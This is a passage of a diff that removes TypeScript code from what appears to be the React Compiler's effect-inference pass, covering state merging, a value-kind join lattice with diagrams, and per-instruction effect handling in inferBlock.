-          valueKind.kind === ValueKind.Global ||
-          valueKind.kind === ValueKind.Frozen ||
-          valueKind.kind === ValueKind.MaybeFrozen
-        ) {
-          effect = Effect.Read;
-        } else {
-          effect = Effect.Capture;
-        }
-        break;
-      }
-      case Effect.Read: {
-        effect = Effect.Read;
-        break;
-      }
-      case Effect.Unknown: {
-        CompilerError.invariant(false, {
-          reason:
-            "Unexpected unknown effect, expected to infer a precise effect kind",
-          description: null,
-          loc: place.loc,
-          suggestions: null,
-        });
-      }
-      default: {
-        assertExhaustive(
-          effectKind,
-          `Unexpected reference kind \`${effectKind as any as string}\``
-        );
-      }
-    }
-    CompilerError.invariant(effect !== null, {
-      reason: "Expected effect to be set",
-      description: null,
-      loc: place.loc,
-      suggestions: null,
-    });
-    place.effect = effect;
-    return functionEffect;
-  }
-
-  /*
-   * Combine the contents of @param this and @param other, returning a new
-   * instance with the combined changes _if_ there are any changes, or
-   * returning null if no changes would occur. Changes include:
-   * - new entries in @param other that did not exist in @param this
-   * - entries whose values differ in @param this and @param other,
-   *    and where joining the values produces a different value than
-   *    what was in @param this.
-   *
-   * Note that values are joined using a lattice operation to ensure
-   * termination.
-   */
-  merge(other: InferenceState): InferenceState | null {
-    let nextValues: Map<InstructionValue, AbstractValue> | null = null;
-    let nextVariables: Map<IdentifierId, Set<InstructionValue>> | null = null;
-
-    for (const [id, thisValue] of this.#values) {
-      const otherValue = other.#values.get(id);
-      if (otherValue !== undefined) {
-        const mergedValue = mergeAbstractValues(thisValue, otherValue);
-        if (mergedValue !== thisValue) {
-          nextValues = nextValues ?? new Map(this.#values);
-          nextValues.set(id, mergedValue);
-        }
-      }
-    }
-    for (const [id, otherValue] of other.#values) {
-      if (this.#values.has(id)) {
-        // merged above
-        continue;
-      }
-      nextValues = nextValues ?? new Map(this.#values);
-      nextValues.set(id, otherValue);
-    }
-
-    for (const [id, thisValues] of this.#variables) {
-      const otherValues = other.#variables.get(id);
-      if (otherValues !== undefined) {
-        let mergedValues: Set<InstructionValue> | null = null;
-        for (const otherValue of otherValues) {
-          if (!thisValues.has(otherValue)) {
-            mergedValues = mergedValues ?? new Set(thisValues);
-            mergedValues.add(otherValue);
-          }
-        }
-        if (mergedValues !== null) {
-          nextVariables = nextVariables ?? new Map(this.#variables);
-          nextVariables.set(id, mergedValues);
-        }
-      }
-    }
-    for (const [id, otherValues] of other.#variables) {
-      if (this.#variables.has(id)) {
-        continue;
-      }
-      nextVariables = nextVariables ?? new Map(this.#variables);
-      nextVariables.set(id, new Set(otherValues));
-    }
-
-    if (nextVariables === null && nextValues === null) {
-      return null;
-    } else {
-      return new InferenceState(
-        this.#env,
-        nextValues ?? new Map(this.#values),
-        nextVariables ?? new Map(this.#variables)
-      );
-    }
-  }
-
-  /*
-   * Returns a copy of this state.
-   * TODO: consider using persistent data structures to make
-   * clone cheaper.
-   */
-  clone(): InferenceState {
-    return new InferenceState(
-      this.#env,
-      new Map(this.#values),
-      new Map(this.#variables)
-    );
-  }
-
-  /*
-   * For debugging purposes, dumps the state to a plain
-   * object so that it can printed as JSON.
-   */
-  debug(): any {
-    const result: any = { values: {}, variables: {} };
-    const objects: Map<InstructionValue, number> = new Map();
-    function identify(value: InstructionValue): number {
-      let id = objects.get(value);
-      if (id == null) {
-        id = objects.size;
-        objects.set(value, id);
-      }
-      return id;
-    }
-    for (const [value, kind] of this.#values) {
-      const id = identify(value);
-      result.values[id] = { kind, value: printMixedHIR(value) };
-    }
-    for (const [variable, values] of this.#variables) {
-      result.variables[`$${variable}`] = [...values].map(identify);
-    }
-    return result;
-  }
-
-  inferPhi(phi: Phi): void {
-    const values: Set<InstructionValue> = new Set();
-    for (const [_, operand] of phi.operands) {
-      const operandValues = this.#variables.get(operand.id);
-      // This is a backedge that will be handled later by State.merge
-      if (operandValues === undefined) continue;
-      for (const v of operandValues) {
-        values.add(v);
-      }
-    }
-
-    if (values.size > 0) {
-      this.#variables.set(phi.id.id, values);
-    }
-  }
-}
-
-function inferParam(
-  param: Place | SpreadPattern,
-  initialState: InferenceState,
-  paramKind: AbstractValue
-): void {
-  let value: InstructionValue;
-  let place: Place;
-  if (param.kind === "Identifier") {
-    place = param;
-    value = {
-      kind: "Primitive",
-      loc: param.loc,
-      value: undefined,
-    };
-  } else {
-    place = param.place;
-    value = {
-      kind: "Primitive",
-      loc: param.place.loc,
-      value: undefined,
-    };
-  }
-  initialState.initialize(value, paramKind);
-  initialState.define(place, value);
-}
-
-/*
- * Joins two values using the following rules:
- * == Effect Transitions ==
- *
- * Freezing an immutable value has not effect:
- *                ┌───────────────┐
- *                │               │
- *                ▼               │ Freeze
- * ┌──────────────────────────┐  │
- * │        Immutable         │──┘
- * └──────────────────────────┘
- *
- * Freezing a mutable or maybe-frozen value makes it frozen. Freezing a frozen
- * value has no effect:
- *                                                     ┌───────────────┐
- * ┌─────────────────────────┐     Freeze             │               │
- * │       MaybeFrozen       │────┐                   ▼               │ Freeze
- * └─────────────────────────┘    │     ┌──────────────────────────┐  │
- *                                 ├────▶│          Frozen          │──┘
- *                                 │     └──────────────────────────┘
- * ┌─────────────────────────┐    │
- * │         Mutable         │────┘
- * └─────────────────────────┘
- *
- * == Join Lattice ==
- * - immutable | mutable => mutable
- *     The justification is that immutable and mutable values are different types,
- *     and functions can introspect them to tell the difference (if the argument
- *     is null return early, else if its an object mutate it).
- * - frozen | mutable => maybe-frozen
- *     Frozen values are indistinguishable from mutable values at runtime, so callers
- *     cannot dynamically avoid mutation of "frozen" values. If a value could be
- *     frozen we have to distinguish it from a mutable value. But it also isn't known
- *     frozen yet, so we distinguish as maybe-frozen.
- * - immutable | frozen => frozen
- *     This is subtle and falls out of the above rules. If a value could be any of
- *     immutable, mutable, or frozen, then at runtime it could either be a primitive
- *     or a reference type, and callers can't distinguish frozen or not for reference
- *     types. To ensure that any sequence of joins btw those three states yields the
- *     correct maybe-frozen, these two have to produce a frozen value.
- * - <any> | maybe-frozen => maybe-frozen
- * - immutable | context => context
- * - mutable | context => context
- * - frozen | context => maybe-frozen
- *
- * ┌──────────────────────────┐
- * │        Immutable         │───┐
- * └──────────────────────────┘   │
- *                                 │    ┌─────────────────────────┐
- *                                 ├───▶│         Frozen          │──┐
- * ┌──────────────────────────┐   │    └─────────────────────────┘  │
- * │          Frozen          │───┤                                 │  ┌─────────────────────────┐
- * └──────────────────────────┘   │                                 ├─▶│       MaybeFrozen       │
- *                                 │    ┌─────────────────────────┐  │  └─────────────────────────┘
- *                                 ├───▶│       MaybeFrozen       │──┘
- * ┌──────────────────────────┐   │    └─────────────────────────┘
- * │         Mutable          │───┘
- * └──────────────────────────┘
- */
-function mergeValues(a: ValueKind, b: ValueKind): ValueKind {
-  if (a === b) {
-    return a;
-  } else if (a === ValueKind.MaybeFrozen || b === ValueKind.MaybeFrozen) {
-    return ValueKind.MaybeFrozen;
-    // after this a and b differ and neither are MaybeFrozen
-  } else if (a === ValueKind.Mutable || b === ValueKind.Mutable) {
-    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
-      // frozen | mutable
-      return ValueKind.MaybeFrozen;
-    } else if (a === ValueKind.Context || b === ValueKind.Context) {
-      // context | mutable
-      return ValueKind.Context;
-    } else {
-      // mutable | immutable
-      return ValueKind.Mutable;
-    }
-  } else if (a === ValueKind.Context || b === ValueKind.Context) {
-    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
-      // frozen | context
-      return ValueKind.MaybeFrozen;
-    } else {
-      // context | immutable
-      return ValueKind.Context;
-    }
-  } else if (a === ValueKind.Frozen || b === ValueKind.Frozen) {
-    return ValueKind.Frozen;
-  } else if (a === ValueKind.Global || b === ValueKind.Global) {
-    return ValueKind.Global;
-  } else {
-    CompilerError.invariant(
-      a === ValueKind.Primitive && b == ValueKind.Primitive,
-      {
-        reason: `Unexpected value kind in mergeValues()`,
-        description: `Found kinds ${a} and ${b}`,
-        loc: GeneratedSource,
-      }
-    );
-    return ValueKind.Primitive;
-  }
-}
-
-/**
- * @returns `true` if `a` is a superset of `b`.
- */
-function isSuperset<T>(a: ReadonlySet<T>, b: ReadonlySet<T>): boolean {
-  for (const v of b) {
-    if (!a.has(v)) {
-      return false;
-    }
-  }
-  return true;
-}
-
-function mergeAbstractValues(
-  a: AbstractValue,
-  b: AbstractValue
-): AbstractValue {
-  const kind = mergeValues(a.kind, b.kind);
-  if (
-    kind === a.kind &&
-    kind === b.kind &&
-    isSuperset(a.reason, b.reason) &&
-    isSuperset(a.context, b.context)
-  ) {
-    return a;
-  }
-  const reason = new Set(a.reason);
-  for (const r of b.reason) {
-    reason.add(r);
-  }
-  const context = new Set(a.context);
-  for (const c of b.context) {
-    context.add(c);
-  }
-  return { kind, reason, context };
-}
-
-/*
- * Iterates over the given @param block, defining variables and
- * recording references on the @param state according to JS semantics.
- */
-function inferBlock(
-  env: Environment,
-  functionEffects: Array<FunctionEffect>,
-  state: InferenceState,
-  block: BasicBlock
-): void {
-  for (const phi of block.phis) {
-    state.inferPhi(phi);
-  }
-
-  for (const instr of block.instructions) {
-    const instrValue = instr.value;
-    let effect: { kind: Effect; reason: ValueReason } | null = null;
-    let lvalueEffect = Effect.ConditionallyMutate;
-    let valueKind: AbstractValue;
-    switch (instrValue.kind) {
-      case "BinaryExpression": {
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = {
-          kind: Effect.Read,
-          reason: ValueReason.Other,
-        };
-        break;
-      }
-      case "ArrayExpression": {
-        valueKind = hasContextRefOperand(state, instrValue)
-          ? {
-              kind: ValueKind.Context,
-              reason: new Set([ValueReason.Other]),
-              context: new Set(),
-            }
-          : {
-              kind: ValueKind.Mutable,
-              reason: new Set([ValueReason.Other]),
-              context: new Set(),
-            };
-        effect = { kind: Effect.Capture, reason: ValueReason.Other };
-        lvalueEffect = Effect.Store;
-        break;
-      }
-      case "NewExpression": {
-        /**
-         * For new expressions, we infer a `read` effect on the Class / Function type
-         * to avoid extending mutable ranges of locally created classes, e.g.
-         * ```js
-         * const MyClass = getClass();
-         * const value = new MyClass(val1, val2)
-         *                   ^ (read)   ^ (conditionally mutate)
-         * ```
-         *
-         * Risks:
-         * Classes / functions created during render could technically capture and
-         * mutate their enclosing scope, which we currently do not detect.
-         */
-        valueKind = {
-          kind: ValueKind.Mutable,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        state.referenceAndRecordEffects(
-          instrValue.callee,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        for (const operand of eachCallArgument(instrValue.args)) {
-          state.referenceAndRecordEffects(
-            operand,
-            Effect.ConditionallyMutate,
-            ValueReason.Other,
-            functionEffects
-          );
-        }
-
-        state.initialize(instrValue, valueKind);
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = lvalueEffect;
-        continue;
-      }
-      case "ObjectExpression": {
-        valueKind = hasContextRefOperand(state, instrValue)
-          ? {
-              kind: ValueKind.Context,
-              reason: new Set([ValueReason.Other]),
-              context: new Set(),
-            }
-          : {
-              kind: ValueKind.Mutable,
-              reason: new Set([ValueReason.Other]),
-              context: new Set(),
-            };
-
-        for (const property of instrValue.properties) {
-          switch (property.kind) {
-            case "ObjectProperty": {
-              if (property.key.kind === "computed") {
-                // Object keys must be primitives, so we know they're frozen at this point
-                state.referenceAndRecordEffects(
-                  property.key.name,
-                  Effect.Freeze,
-                  ValueReason.Other,
-                  functionEffects
-                );
-              }
-              // Object construction captures but does not modify the key/property values
-              state.referenceAndRecordEffects(
-                property.place,
-                Effect.Capture,
-                ValueReason.Other,
-                functionEffects
-              );
-              break;
-            }
-            case "Spread": {
-              // Object construction captures but does not modify the key/property values
-              state.referenceAndRecordEffects(
-                property.place,
-                Effect.Capture,
-                ValueReason.Other,
-                functionEffects
-              );
-              break;
-            }
-            default: {
-              assertExhaustive(
-                property,
-                `Unexpected property kind \`${(property as any).kind}\``
-              );
-            }
-          }
-        }
-
-        state.initialize(instrValue, valueKind);
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "UnaryExpression": {
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = { kind: Effect.Read, reason: ValueReason.Other };
-        break;
-      }
-      case "UnsupportedNode": {
-        // TODO: handle other statement kinds
-        valueKind = {
-          kind: ValueKind.Mutable,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        break;
-      }
-      case "JsxExpression": {
-        if (instrValue.tag.kind === "Identifier") {
-          state.referenceAndRecordEffects(
-            instrValue.tag,
-            Effect.Freeze,
-            ValueReason.JsxCaptured,
-            functionEffects
-          );
-        }
-        if (instrValue.children !== null) {
-          for (const child of instrValue.children) {
-            state.referenceAndRecordEffects(
-              child,
-              Effect.Freeze,
-              ValueReason.JsxCaptured,
-              functionEffects
-            );
-          }
-        }
-        for (const attr of instrValue.props) {
-          if (attr.kind === "JsxSpreadAttribute") {
-            state.referenceAndRecordEffects(
-              attr.argument,
-              Effect.Freeze,
-              ValueReason.JsxCaptured,
-              functionEffects
-            );
-          } else {
-            const propEffects: Array<FunctionEffect> = [];
-            state.referenceAndRecordEffects(
-              attr.place,
-              Effect.Freeze,
-              ValueReason.JsxCaptured,
-              propEffects
-            );
-            functionEffects.push(
-              ...propEffects.filter(
-                (propEffect) => propEffect.kind !== "GlobalMutation"
-              )
-            );
-          }
-        }
-
-        state.initialize(instrValue, {
-          kind: ValueKind.Frozen,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        });
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = Effect.ConditionallyMutate;
-        continue;
-      }
-      case "JsxFragment": {
-        valueKind = {
-          kind: ValueKind.Frozen,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = {
-          kind: Effect.Freeze,
-          reason: ValueReason.Other,
-        };
-        break;
-      }
-      case "TaggedTemplateExpression": {
-        valueKind = {
-          kind: ValueKind.Mutable,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = {
-          kind: Effect.ConditionallyMutate,
-          reason: ValueReason.Other,
-        };
-        break;
-      }
-      case "TemplateLiteral": {
-        /*
-         * template literal (with no tag function) always produces
-         * an immutable string
-         */
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = { kind: Effect.Read, reason: ValueReason.Other };
-        break;
-      }
-      case "RegExpLiteral": {
-        // RegExp instances are mutable objects
-        valueKind = {
-          kind: ValueKind.Mutable,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = {
-          kind: Effect.ConditionallyMutate,
-          reason: ValueReason.Other,
-        };
-        break;
-      }
-      case "MetaProperty": {
-        if (instrValue.meta !== "import" || instrValue.property !== "meta") {
-          continue;
-        }
-
-        valueKind = {
-          kind: ValueKind.Global,
-          reason: new Set([ValueReason.Global]),
-          context: new Set(),
-        };
-        break;
-      }
-      case "LoadGlobal":
-        valueKind = {
-          kind: ValueKind.Global,
-          reason: new Set([ValueReason.Global]),
-          context: new Set(),
-        };
-        break;
-      case "Debugger":
-      case "JSXText":
-      case "Primitive": {
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        break;
-      }
-      case "ObjectMethod":
-      case "FunctionExpression": {
-        let hasMutableOperand = false;
-        for (const operand of eachInstructionOperand(instr)) {
-          state.referenceAndRecordEffects(
-            operand,
-            operand.effect === Effect.Unknown ? Effect.Read : operand.effect,
-            ValueReason.Other,
-            []
-          );
-          hasMutableOperand ||= isMutableEffect(operand.effect, operand.loc);
-
-          /**
-           * If this function references other functions, propagate the referenced function's
-           * effects to this function.
-           *
-           * ```
-           * let f = () => global = true;
-           * let g = () => f();
-           * g();
-           * ```
-           *
-           * In this example, because `g` references `f`, we propagate the GlobalMutation from
-           * `f` to `g`. Thus, referencing `g` in `g()` will evaluate the GlobalMutation in the outer
-           * function effect context and report an error. But if instead we do:
-           *
-           * ```
-           * let f = () => global = true;
-           * let g = () => f();
-           * useEffect(() => g(), [g])
-           * ```
-           *
-           * Now `g`'s effects will be discarded since they're in a useEffect.
-           */
-          const values = state.values(operand);
-          for (const value of values) {
-            if (
-              (value.kind === "ObjectMethod" ||
-                value.kind === "FunctionExpression") &&
-              value.loweredFunc.func.effects !== null
-            ) {
-              instrValue.loweredFunc.func.effects ??= [];
-              instrValue.loweredFunc.func.effects.push(
-                ...value.loweredFunc.func.effects
-              );
-            }
-          }
-        }
-        /*
-         * If a closure did not capture any mutable values, then we can consider it to be
-         * frozen, which allows it to be independently memoized.
-         */
-        state.initialize(instrValue, {
-          kind: hasMutableOperand ? ValueKind.Mutable : ValueKind.Frozen,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        });
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "CallExpression": {
-        const signature = getFunctionCallSignature(
-          env,
-          instrValue.callee.identifier.type
-        );
-
-        const effects =
-          signature !== null ? getFunctionEffects(instrValue, signature) : null;
-        const returnValueKind: AbstractValue =
-          signature !== null
-            ? {
-                kind: signature.returnValueKind,
-                reason: new Set([
-                  signature.returnValueReason ??
-                    ValueReason.KnownReturnSignature,
-                ]),
-                context: new Set(),
-              }
-            : {
-                kind: ValueKind.Mutable,
-                reason: new Set([ValueReason.Other]),
-                context: new Set(),
-              };
-        let hasCaptureArgument = false;
-        let isUseEffect = isEffectHook(instrValue.callee.identifier);
-        for (let i = 0; i < instrValue.args.length; i++) {
-          const argumentEffects: Array<FunctionEffect> = [];
-          const arg = instrValue.args[i];
-          const place = arg.kind === "Identifier" ? arg : arg.place;
-          if (effects !== null) {
-            state.referenceAndRecordEffects(
-              place,
-              effects[i],
-              ValueReason.Other,
-              argumentEffects
-            );
-          } else {
-            state.referenceAndRecordEffects(
-              place,
-              Effect.ConditionallyMutate,
-              ValueReason.Other,
-              argumentEffects
-            );
-          }
-          /*
-           * Join the effects of the argument with the effects of the enclosing function,
-           * unless the we're detecting a global mutation inside a useEffect hook
-           */
-          functionEffects.push(
-            ...argumentEffects.filter(
-              (argEffect) =>
-                !isUseEffect || i !== 0 || argEffect.kind !== "GlobalMutation"
-            )
-          );
-          hasCaptureArgument ||= place.effect === Effect.Capture;
-        }
-        if (signature !== null) {
-          state.referenceAndRecordEffects(
-            instrValue.callee,
-            signature.calleeEffect,
-            ValueReason.Other,
-            functionEffects
-          );
-        } else {
-          state.referenceAndRecordEffects(
-            instrValue.callee,
-            Effect.ConditionallyMutate,
-            ValueReason.Other,
-            functionEffects
-          );
-        }
-        hasCaptureArgument ||= instrValue.callee.effect === Effect.Capture;
-
-        state.initialize(instrValue, returnValueKind);
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = hasCaptureArgument
-          ? Effect.Store
-          : Effect.ConditionallyMutate;
-        continue;
-      }
-      case "MethodCall": {
-        CompilerError.invariant(state.isDefined(instrValue.receiver), {
-          reason:
-            "[InferReferenceEffects] Internal error: receiver of PropertyCall should have been defined by corresponding PropertyLoad",
-          description: null,
-          loc: instrValue.loc,
-          suggestions: null,
-        });
-        state.referenceAndRecordEffects(
-          instrValue.property,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const signature = getFunctionCallSignature(
-          env,
-          instrValue.property.identifier.type
-        );
-
-        const returnValueKind: AbstractValue =
-          signature !== null
-            ? {
-                kind: signature.returnValueKind,
-                reason: new Set([ValueReason.Other]),
-                context: new Set(),
-              }
-            : {
-                kind: ValueKind.Mutable,
-                reason: new Set([ValueReason.Other]),
-                context: new Set(),
-              };
-
-        if (
-          signature !== null &&
-          signature.mutableOnlyIfOperandsAreMutable &&
-          areArgumentsImmutableAndNonMutating(state, instrValue.args)
-        ) {
-          /*
-           * None of the args are mutable or mutate their params, we can downgrade to
-           * treating as all reads (except that the receiver may be captured)
-           */
-          for (const arg of instrValue.args) {
-            const place = arg.kind === "Identifier" ? arg : arg.place;
-            state.referenceAndRecordEffects(
-              place,
-              Effect.Read,
-              ValueReason.Other,
-              functionEffects
-            );
-          }
-          state.referenceAndRecordEffects(
-            instrValue.receiver,
-            Effect.Capture,
-            ValueReason.Other,
-            functionEffects
-          );
-          state.initialize(instrValue, returnValueKind);
-          state.define(instr.lvalue, instrValue);
-          instr.lvalue.effect =
-            instrValue.receiver.effect === Effect.Capture
-              ? Effect.Store
-              : Effect.ConditionallyMutate;
-          continue;
-        }
-
-        const effects =
-          signature !== null ? getFunctionEffects(instrValue, signature) : null;
-        let hasCaptureArgument = false;
-        let isUseEffect = isEffectHook(instrValue.property.identifier);
-        for (let i = 0; i < instrValue.args.length; i++) {
-          const argumentEffects: Array<FunctionEffect> = [];
-          const arg = instrValue.args[i];
-          const place = arg.kind === "Identifier" ? arg : arg.place;
-          if (effects !== null) {
-            /*
-             * If effects are inferred for an argument, we should fail invalid
-             * mutating effects
-             */
-            state.referenceAndRecordEffects(
-              place,
-              effects[i],
-              ValueReason.Other,
-              argumentEffects
-            );
-          } else {
-            state.referenceAndRecordEffects(
-              place,
-              Effect.ConditionallyMutate,
-              ValueReason.Other,
-              argumentEffects
-            );
-          }
-          /*
-           * Join the effects of the argument with the effects of the enclosing function,
-           * unless the we're detecting a global mutation inside a useEffect hook
-           */
-          functionEffects.push(
-            ...argumentEffects.filter(
-              (argEffect) =>
-                !isUseEffect || i !== 0 || argEffect.kind !== "GlobalMutation"
-            )
-          );
-          hasCaptureArgument ||= place.effect === Effect.Capture;
-        }
-        if (signature !== null) {
-          state.referenceAndRecordEffects(
-            instrValue.receiver,
-            signature.calleeEffect,
-            ValueReason.Other,
-            functionEffects
-          );
-        } else {
-          state.referenceAndRecordEffects(
-            instrValue.receiver,
-            Effect.ConditionallyMutate,
-            ValueReason.Other,
-            functionEffects
-          );
-        }
-        hasCaptureArgument ||= instrValue.receiver.effect === Effect.Capture;
-
-        state.initialize(instrValue, returnValueKind);
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = hasCaptureArgument
-          ? Effect.Store
-          : Effect.ConditionallyMutate;
-        continue;
-      }
-      case "PropertyStore": {
-        const effect =
-          state.kind(instrValue.object).kind === ValueKind.Context
-            ? Effect.ConditionallyMutate
-            : Effect.Capture;
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          effect,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.object,
-          Effect.Store,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "PropertyDelete": {
-        // `delete` returns a boolean (immutable) and modifies the object
-        valueKind = {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        };
-        effect = { kind: Effect.Mutate, reason: ValueReason.Other };
-        break;
-      }
-      case "PropertyLoad": {
-        state.referenceAndRecordEffects(
-          instrValue.object,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        state.initialize(instrValue, state.kind(instrValue.object));
-        state.define(lvalue, instrValue);
-        continue;
-      }
-      case "ComputedStore": {
-        const effect =
-          state.kind(instrValue.object).kind === ValueKind.Context
-            ? Effect.ConditionallyMutate
-            : Effect.Capture;
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          effect,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.property,
-          Effect.Capture,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.object,
-          Effect.Store,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "ComputedDelete": {
-        state.referenceAndRecordEffects(
-          instrValue.object,
-          Effect.Mutate,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.property,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.initialize(instrValue, {
-          kind: ValueKind.Primitive,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        });
-        state.define(instr.lvalue, instrValue);
-        instr.lvalue.effect = Effect.Mutate;
-        continue;
-      }
-      case "ComputedLoad": {
-        state.referenceAndRecordEffects(
-          instrValue.object,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-        state.referenceAndRecordEffects(
-          instrValue.property,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        state.initialize(instrValue, state.kind(instrValue.object));
-        state.define(lvalue, instrValue);
-        continue;
-      }
-      case "Await": {
-        state.initialize(instrValue, state.kind(instrValue.value));
-        /*
-         * Awaiting a value causes it to change state (go from unresolved to resolved or error)
-         * It also means that any side-effects which would occur as part of the promise evaluation
-         * will occur.
-         */
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          Effect.ConditionallyMutate,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        state.alias(lvalue, instrValue.value);
-        continue;
-      }
-      case "TypeCastExpression": {
-        /*
-         * A type cast expression has no effect at runtime, so it's equivalent to a raw
-         * identifier:
-         * ```
-         * x = (y: type)  // is equivalent to...
-         * x = y
-         * ```
-         */
-        state.initialize(instrValue, state.kind(instrValue.value));
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          Effect.Read,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        state.alias(lvalue, instrValue.value);
-        continue;
-      }
-      case "StartMemoize":
-      case "FinishMemoize": {
-        for (const val of eachInstructionValueOperand(instrValue)) {
-          if (env.config.enablePreserveExistingMemoizationGuarantees) {
-            state.referenceAndRecordEffects(
-              val,
-              Effect.Freeze,
-              ValueReason.Other,
-              []
-            );
-          } else {
-            state.referenceAndRecordEffects(
-              val,
-              Effect.Read,
-              ValueReason.Other,
-              []
-            );
-          }
-        }
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        state.initialize(instrValue, {
-          kind: ValueKind.Frozen,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        });
-        state.define(lvalue, instrValue);
-        continue;
-      }
-      case "LoadLocal": {
-        const lvalue = instr.lvalue;
-        const effect =
-          state.isDefined(lvalue) &&
-          state.kind(lvalue).kind === ValueKind.Context
-            ? Effect.ConditionallyMutate
-            : Effect.Capture;
-        state.referenceAndRecordEffects(
-          instrValue.place,
-          effect,
-          ValueReason.Other,
-          []
-        );
-        lvalue.effect = Effect.ConditionallyMutate;
-        // direct aliasing: `a = b`;
-        state.alias(lvalue, instrValue.place);
-        continue;
-      }
-      case "LoadContext": {
-        state.referenceAndRecordEffects(
-          instrValue.place,
-          Effect.Capture,
-          ValueReason.Other,
-          functionEffects
-        );
-        const lvalue = instr.lvalue;
-        lvalue.effect = Effect.ConditionallyMutate;
-        const valueKind = state.kind(instrValue.place);
-        state.initialize(instrValue, valueKind);
-        state.define(lvalue, instrValue);
-        continue;
-      }
-      case "DeclareLocal": {
-        const value = UndefinedValue;
-        state.initialize(
-          value,
-          // Catch params may be aliased to mutable values
-          instrValue.lvalue.kind === InstructionKind.Catch
-            ? {
-                kind: ValueKind.Mutable,
-                reason: new Set([ValueReason.Other]),
-                context: new Set(),
-              }
-            : {
-                kind: ValueKind.Primitive,
-                reason: new Set([ValueReason.Other]),
-                context: new Set(),
-              }
-        );
-        state.define(instrValue.lvalue.place, value);
-        continue;
-      }
-      case "DeclareContext": {
-        state.initialize(instrValue, {
-          kind: ValueKind.Mutable,
-          reason: new Set([ValueReason.Other]),
-          context: new Set(),
-        });
-        state.define(instrValue.lvalue.place, instrValue);
-        continue;
-      }
-      case "PostfixUpdate":
-      case "PrefixUpdate": {
-        const effect =
-          state.isDefined(instrValue.lvalue) &&
-          state.kind(instrValue.lvalue).kind === ValueKind.Context
-            ? Effect.ConditionallyMutate
-            : Effect.Capture;
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          effect,
-          ValueReason.Other,
-          functionEffects
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        state.alias(instrValue.lvalue, instrValue.value);
-        /*
-         * NOTE: *not* using state.reference since this is an assignment.
-         * reference() checks if the effect is valid given the value kind,
-         * but here the previous value kind doesn't matter since we are
-         * replacing it
-         */
-        instrValue.lvalue.effect = Effect.Store;
-        continue;
-      }
-      case "StoreLocal": {
-        const effect =
-          state.isDefined(instrValue.lvalue.place) &&
-          state.kind(instrValue.lvalue.place).kind === ValueKind.Context
-            ? Effect.ConditionallyMutate
-            : Effect.Capture;
-        state.referenceAndRecordEffects(
-          instrValue.value,
-          effect,
-          ValueReason.Other,
-          []
-        );
-
-        const lvalue = instr.lvalue;
-        state.alias(lvalue, instrValue.value);
-        lvalue.effect = Effect.Store;
-        state.alias(instrValue.lvalue.place, instrValue.value);
-        /*
-         * NOTE: *not* using state.reference since this is an assignment.
-         * reference() checks if the effect is valid given the value kind,
-         * but here the previous value kind doesn't matter since we are
-         * replacing it
-         */
-        instrValue.lvalue.place.effect = Effect.Store;
-        continue;
-      }
-      case "StoreContext": {
-        state.referenceAndRecordEffects(
